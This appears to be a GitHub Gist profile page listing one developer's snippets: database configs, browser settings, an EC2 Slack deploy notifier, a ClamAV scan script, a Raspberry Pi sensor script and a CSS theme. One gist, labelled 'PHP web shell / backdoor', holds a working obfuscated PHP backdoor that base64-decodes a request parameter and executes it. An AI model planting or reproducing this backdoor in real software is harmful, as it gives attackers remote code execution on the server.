Skip to content

Instantly share code, notes, and snippets.

Zero Huang johnroyer

Block or report user

Report or block johnroyer

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@johnroyer
johnroyer / php-info.log
Created Sep 25, 2019
PHP segment fault, ENV dump
View php-info.log
feature/controller-shipping-refactor
027d43e6f1ddb261cb0021695af6bca42a73a9c0 is the first bad commit
commit 027d43e6f1ddb261cb0021695af6bca42a73a9c0
Author: Zero <john.royer@gmail.com>
Date: Mon Sep 23 10:14:43 2019 +0800
Catch exception from SplitShipmentService
app/Http/Controllers/ApiShipmentController.php | 6 +++++-
@johnroyer
johnroyer / mysql.cnf
Last active Jul 30, 2019
MySQL 8.0 config
View mysql.cnf
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
log-error = /var/log/mysql/error.log
default-authentication-plugin = mysql_native_password
View scriptsafe-settings-2019-10
webbugs|true
gamepad|false
syncnotify|true
fpWebGL|[]
useragentspoof|off
syncfromnotify|true
fpBattery|[]
frame|true
fpBluetooth|[]
uaspoofallow|false
@johnroyer
johnroyer / S20slack
Created Jul 12, 2019
init change notification
View S20slack
#! /bin/sh
### BEGIN INIT INFO
# Provides: slackcat
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: OpenBSD Secure Shell server
### END INIT INFO
@johnroyer
johnroyer / notify.sh
Last active Jul 12, 2019
slack notifier for AWS EC2 deployment
View notify.sh
#!/usr/bin/env bash
ID=`curl http://169.254.169.254/latest/meta-data/instance-id`
EC2_NAME=`aws ec2 describe-instances --instance-ids $ID | jq .Reservations[0].Instances[0].Tags[].Value | paste -sd ' ' - | sed -e 's/\"/ /g'`
HASH=`git rev-parse HEAD`
SHORT_HASH=`echo $HASH | head -c 6`
COMMENT=`git log --format=%B -n 1 HEAD`
BB_URL_PREFIX="https://bitbucket.org/team/project/commits"
HOST=`hostname`
REPO=$(basename `git rev-parse --show-toplevel`)
@johnroyer
johnroyer / virus-scan-clamav.sh
Last active Oct 29, 2018
scan virus in whole system by clamav (clamscan) and save log by date
View virus-scan-clamav.sh
#!/usr/bin/env bash
DATE=`date '+%Y-%m-%d'`
LOG_PATH="/var/log/clamav"
# create log folder
mkdir -p $LOG_PATH
clamscan -i -r / 2>&1 | tee "$LOG_PATH/$DATE.log"
@johnroyer
johnroyer / shell.php
Created Jul 23, 2018
PHP web shell / backdoor
View shell.php
<?php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
@johnroyer
johnroyer / percona-server-5.7.cnf
Created Dec 24, 2017
percona-server-5.7 config template
View percona-server-5.7.cnf
[client]
default-character-set = utf8mb4
[mysql]
[mysqld]
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
@johnroyer
johnroyer / detect.py
Created Dec 12, 2017
RPi + PIR sensor scan + LED output
View detect.py
import RPi.GPIO as GPIO
import time
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BOARD)
# LED
GPIO.setup(3, GPIO.OUT)
# PIR sensor
@johnroyer
johnroyer / main.css
Created Nov 16, 2017
dark-theme for "Just Read" Chrome extension
View main.css
@font-face {
font-family: 'Source Sans Pro Semibold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Semibold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Bold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Bold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Light';
You can’t perform that action at this time.